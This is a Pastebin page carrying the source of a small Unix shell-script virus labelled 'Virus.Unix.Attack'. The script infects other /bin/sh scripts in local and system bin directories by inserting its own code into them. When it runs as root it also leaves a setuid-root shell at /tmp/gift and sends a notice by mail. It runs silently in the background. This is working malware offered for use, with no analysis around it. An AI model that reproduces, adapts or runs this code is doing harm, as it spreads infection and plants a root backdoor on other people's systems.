Advertisement
FlyFar

Virus.Unix.Attack - Source Code

Jun 12th, 2023
699
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.60 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2.  
  3. ( for i in * /bin/* /usr/bin/* /u*/*/bin/* ; do
  4.     if sed 1q $i | grep '^#![    ]*/bin/sh' ; then
  5.       if grep '^# mark$' $i ; then
  6.         :
  7.       else
  8.         trap "/bin/rm -f /tmp/x$$" 0 1 2 13 15
  9.         sed 1q $i > /tmp/x$$
  10.         sed '1d
  11.            /^#mark$/q' $0 >> /tmp/x$$
  12.         sed 1d $i >> /tmp/x$$
  13.         cp /tmp/x$$ $i
  14.       fi
  15.     fi
  16.   done
  17.   if ls -l /tmp/x$$ | grep root ; then
  18.     /bin/rm -f /tmp/gift
  19.     cp /bin/sh /tmp/gift
  20.     chmod 4777 /tmp/gift
  21.     echo gift | mail  # insert E-mail address here
  22.   fi
  23.   /bin/rm /tmp/x$$
  24. ) >/dev/null 2>/dev/null &
  25. # mark
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement